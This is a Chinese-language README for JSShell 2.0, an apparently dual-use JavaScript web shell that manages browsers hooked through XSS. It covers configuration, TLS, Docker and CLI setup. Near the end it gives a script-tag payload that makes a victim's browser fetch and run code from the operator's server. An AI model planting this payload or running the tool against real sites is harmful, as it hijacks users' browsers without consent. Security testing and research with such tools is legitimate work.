一个基于 JavaScript 的交互式多用户 Web Shell。最初是为了在实验和研究期间调试远程非主流浏览器而创建的。该工具可以轻松附加到 XSS(跨站脚本)负载中,以实现浏览器远程代码执行(类似于 BeEF 框架)。
2.0 版完全从头开始创建,引入了令人兴奋的新功能、稳定性和可维护性。
在 resources 目录中,使用所需的配置更新 config.json 文件:
docker 部署方式,请将数据库主机设置为 db(这是内部主机名)。shell.js 文件会执行一些 AJAX 调用来注册和轮询新命令。通常为 http[s]://{YOUR_SERVER_IP}:{PORT}。现在 JSShell 支持 TLS,这意味着您现在可以生成 TLS 证书并将其提供给 Web 服务器。
Web 服务器将从 config.json 文件中推断域名。为了创建证书,请使用 scripts 文件夹中的 create_cert.py 脚本:
$ cd scripts
$ python create_cert.py --domain <您的域名> --email <您的邮箱>
请注意,Web 服务器必须关闭脚本才能正常运行。此时,我们已经成功生成了证书!我们需要做的唯一修改是:
config.json 文件中,将 URL 字段的方案改为 https。docker-compose.yml 文件中,将 web 容器的暴露端口改为 443。此新版本支持通过 docker 和 docker-compose 安装和运行 JSShell。现在,要安装并运行整个 JSShell 框架,只需运行:
$ ./scripts/start_docker_shell.sh
这将:
JSShell 命令行界面容器实例如果您仍想使用旧式的安装方法,只需确保有一个正在运行的 MongoDB 数据库,并更新 resources 目录中的 config.json 文件。
我建议使用 pyenv 创建虚拟环境:
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv
或者使用 virtualenv:
$ virtualenv -p python3.6 venv
$ source venv/bin/activate
然后,安装依赖:
$ pip install -r requirements.txt
如果您使用了 docker 方式,则无需执行以下步骤。
否则,在数据库设置完成后,我们需要启动 Web API 服务器。为此,运行:
$ python manage.py web
这将创建并运行一个 Web 服务器,监听传入连接并提供我们的 JSShell 代码。
现在,要启动 JSShell CLI,运行相同的脚本,但使用 shell 标志:
$ python manage.py shell
完成设置并运行必要组件后,输入 help 命令查看可用命令:
╦╔═╗┌─┐┬ ┬┌─┐┬ ┬
║╚═╗└─┐├─┤├┤ │ │
╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0
by @Daniel_Abeles
>> help
Documented commands (type help <topic>):
General Commands
--------------------------------------------------------------------------------
edit 在文本编辑器中编辑文件
help 列出可用命令或提供特定命令的详细帮助
history 查看、运行、编辑、保存或清除之前输入的命令
ipy 进入交互式 IPython shell
py 调用 Python 命令或 shell
quit 退出此应用程序
Shell Based Operations
--------------------------------------------------------------------------------
back 取消选择当前选中的客户端
clients 列出并控制已注册到我们系统的客户端
commands 显示当前选中客户端上已执行的命令
dump 将命令转储到磁盘
execute 在选中的客户端上执行命令
select 选择一个客户端作为当前客户端
>>
JSShell 支持两种操作方式:
与其他 XSS 控制框架(如 BeEF)类似,JSShell 能够管理成功的 XSS 利用。
例如,如果您可以注入一个 script 标签,请将以下资源注入到您的负载中,一个新的客户端将会出现在您的控制台中:
<script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>
如果您希望调试非主流和奇特的浏览器,只需导航到 http[s]://{YOUR_SERVER_IP}:{PORT}/,一个新的客户端就会出现在您的 JSShell CLI 客户端中。现在可以通过我们的 JSShell 控制台进行调试。
Canop 提供的 JSON.prune